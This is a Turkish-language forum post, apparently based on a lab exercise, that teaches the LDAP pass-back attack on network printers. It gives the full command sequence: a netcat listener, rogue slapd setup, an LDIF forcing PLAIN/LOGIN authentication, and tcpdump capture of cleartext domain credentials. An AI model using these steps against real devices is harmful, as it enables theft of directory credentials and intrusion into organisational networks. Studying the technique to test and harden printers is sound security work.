- Katılım
- 21 Ocak 2024
- Mesajlar
- 164
- Tepkime puanı
- 36
- Puanları
- 28
LDAP pass-back saldırısı, bir LDAP sunucusu kimlik doğrulamasını başka bir LDAP sunucusuna devretmek üzere yanlış yapılandırıldığında ortaya çıkabilen bir güvenlik açığıdır.
LDAP Pass-back saldırıları, bir kişi LDAP (Hafif Dizin Erişim Protokolü) bilgilerinin belirtildiği bir cihazın yapılandırma ayarlarına erişim sağladığında meydana gelir. Böyle bir cihaza örnek olarak web arayüzü olan bir ağ yazıcısı verilebilir. Tipik olarak, bu cihaz arayüzleri için oturum açma bilgileri "admin:admin" veya "admin: password" gibi varsayılan değerler olarak bırakılır. Bu durumda, parola genellikle gizli olduğundan LDAP kimlik bilgileri doğrudan elde edilemez.
LDAP Pass-back saldırısında, saldırgan cihazın yapılandırmasındaki LDAP sunucusunun IP adresini veya ana bilgisayar adını değiştirir. Saldırgan bu bilgiyi kendi IP'sine ayarlar ve yapılandırmayı test eder. Bu, cihazın saldırganın sahte cihazına LDAP kullanarak bir kimlik doğrulama denemesi yapmasına neden olur. Saldırgan bu girişimi engeller ve LDAP kimlik bilgilerini elde eder.
Saldırı senaryosu
Bir ağ yazıcısının herhangi bir yönetici girişi olmayan bir web sayfasına sahip olduğu bir senaryoyu ele alalım. Sayfada kullanıcı adı ve parola bilgilerinin önceden ayarlandığı, yalnızca kullanıcı adının görünür ve parolanın gizli olduğu bir bölüm ve varsayılan IP adresinin bulunduğu bir sunucu seçeneği vardır.
Kullanıcı, bir güncelleme düğmesine basarak sunucu bilgilerini değiştirme ve ayarları güncelleme seçeneğine sahiptir. Güncelleme düğmesine basıldığında, "önceden ayarlanmış LDAP kimlik bilgilerini doğrulamak için etki alanı denetleyicisine bir kimlik doğrulama isteği gönderilir".
Bu durumdan faydalanalım:
Sunucu IP adresini kendi IP adresinizle değiştirin, ardından LDAP için 389 numaralı bağlantı noktasında netcat dinleyicinizi başlatın ve son olarak güncelleme düğmesine tıklayın.
Bağlantıyı geri aldığınızda bu şekilde görünecektir.
nc -lvp 389
listening on [any] 389 ...
10.200.25.201: inverse host lookup failed: Unknown host
connect to [10.50.23.54] from (UNKNOWN) [10.200.25.201] 62165
0?Dc?;
x?
objectclass0?supportedCapabilities
Rogue LDAP Sunucusunu Kurma
Şimdi, kimlik bilgilerini yakalamak için sahte bir LDAP sunucusu kurmamız gerekiyor.
Slapd ve LDAP-utils'i yüklemek için;
sudo apt-get update && sudo apt-get -y install slapd ldap-utils
Herhangi bir yönetici parolası belirleyin.
Ardından, Etki alanını yapılandırmaya başlayın
dpkg-reconfigure -p low slapd
1. OpenLDAP sunucu yapılandırması atlansın mı? Hayır
2. DNS alan adı: (AD alan adı) yani pwnlab.me
3. Kuruluş adı: (AD alan adı), örneğin pwnlab.me
4. İlk yapılandırma ile yapılan yönetici şifrenizle onaylayın.
5. Slapd temizlendiğinde veritabanının kaldırılmasını istiyor musunuz? Hayır
6. Yeni bir veritabanı oluşturmadan önce eski veritabanı dosyalarını taşıyın EVET
sudo systemctl enable slapd
sudo systemctl start slapd
açık metin kimlik bilgilerini elde etmek için, LDAP sunucumuzu yalnızca PLAIN ve LOGIN kimlik doğrulama yöntemlerini destekleyecek şekilde yeniden yapılandırmalıyız. Bunu yapmak için, aşağıdaki bilgileri içeren yeni bir LDIF dosyası oluşturmamız gerekir:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
olcSaslSecProps: SASL güvenlik özelliklerini belirtir; noanonymous bayrağı anonim oturum açmayı destekleyen mekanizmaları devre dışı bırakır.
minssf: kabul edilebilir minimum güvenlik gücünü belirtir; 0 koruma olmaması içindir. ldapmodify komutunu kullanarak yeni değişiklikleri uygulayın ve LDAP sunucusunu yeniden başlatın.
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
Değişikliği doğrulamak için:
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
Yazıcı web sayfasındaki sunucu ip'sini değiştirin ve ardından başlatın, Aşağıdaki hatayı kontrol edin: "This distinguished name contains invalid syntax". Bu hatayı alırsanız, kimlik bilgilerini yakalamak için bir tcpdump kullanın.
sudo tcpdump -SX -i breachad tcp port 389
Tcpdump sonuçlarını tamamen inceleyin ve düz metin olarak bulunması gereken şifreyi arayın.
Moderatör tarafında düzenlendi: